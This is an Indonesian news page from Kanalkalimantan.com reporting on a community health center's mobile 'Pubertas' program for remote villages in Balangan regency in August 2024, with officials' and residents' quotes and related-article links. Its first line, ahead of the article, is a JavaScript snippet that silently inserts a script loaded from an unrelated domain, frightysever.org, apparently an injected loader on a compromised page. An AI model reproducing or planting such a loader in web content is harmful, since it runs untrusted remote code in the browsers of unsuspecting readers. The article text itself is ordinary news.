(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Puskesmas Uren kembali melaksanakan program inovatif Puskesmas Berjalan di Tapal Batas (Pubertas) yang bertujuan untuk meningkatkan akses layanan kesehatan di daerah terpencil.
Sejak dimulai beberapa tahun lalu, program ini menjadi harapan bagi masyarakat yang tinggal jauh dari fasilitas kesehatan (Faskes).
Program Pubertas dilaksanakan pada 13-14 Agustus 2024 di Dusun Libaru Sungkai, Desa Binuang Santang, Kecamatan Halong.
Program ini menawarkan berbagai layanan kesehatan, termasuk pengobatan massal, posyandu, penyuluhan kesehatan, imunisasi dasar anak, serta layanan KIA dan KB.
Selain itu, di sekolah-sekolah setempat, seperti SD Kecil Libaru Sungkai dan SMP Satu Atap Libaru Sungkai, juga diadakan kegiatan penyuluhan Perilaku Hidup Bersih dan Sehat (PHBS) seperti sikat gigi, cuci tangan pakai sabun, sunatan, dan penyuluhan kesehatan lainnya dalam rangka bulan imunisasi anak sekolah.
Camat Halong Rahmadi mengatakan, keberlanjutan program ini sangat penting bagi masyarakat setempat, mengingat jarak tempuh ke fasilitas kesehatan yang jauh dan sulit diakses.
“Dengan inovasi Pubertas ini, warga kami merasakan manfaat kesehatan langsung tanpa harus menempuh perjalanan jauh,” ujarnya, Rabu (14/8/2024).
Rahmadi menekankan pentingnya kunjungan rutin dari dokter spesialis untuk pemeriksaan kesehatan yang lebih mendalam.
“Kami berharap ada kunjungan rutin dari dokter spesialis agar warga mendapatkan pemeriksaan kesehatan yang lebih komprehensif,” tambahnya.
Sementara itu, Koordinator Pelayanan Kesehatan Dinas Kesehatan Kabupaten Balangan M Dedy Narlianto mengatakan bahwa program ini telah berlangsung sejak 2009 dan terus didukung dalam perencanaan anggaran.
“Kita mengharapkan pelayanan ini ada terus di darerah terpencil, karena beberapa daerah selain di sini yang akses sudah bagus, ada beberapa daerah yang masih sulit untuk dijangkau,” katanya.
Kepala Puskesmas Uren, Rahmat Yusliansyah mengatakan, kegiatan Pubertas dilakukan sesuai standar Kementerian Kesehatan dengan 19 jenis pelayanan yang sudah dilakukan.
“Kami berfokus pada pelayanan kesehatan yang berkeadilan di daerah terpencil,” jelasnya.
Salah satu warga Libaru Sungkai, Biasa, berharap ada rumah bidan dan pelayanan Pubertas dapat dilakukan tiga kali dalam setahun.
“Kami berharap pelayanan kesehatan lebih dekat dan dapat diakses lebih sering,” ujarnya.
Dengan keberlanjutan inovasi Pubertas, Puskesmas Uren berkomitmen untuk menjembatani kesenjangan layanan kesehatan dan memastikan bahwa semua masyarakat, terutama di daerah terpencil, memiliki akses layanan kesehatan yang sama. (Kanalkalimantan.com/mcbalangan)
Editor: kk
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.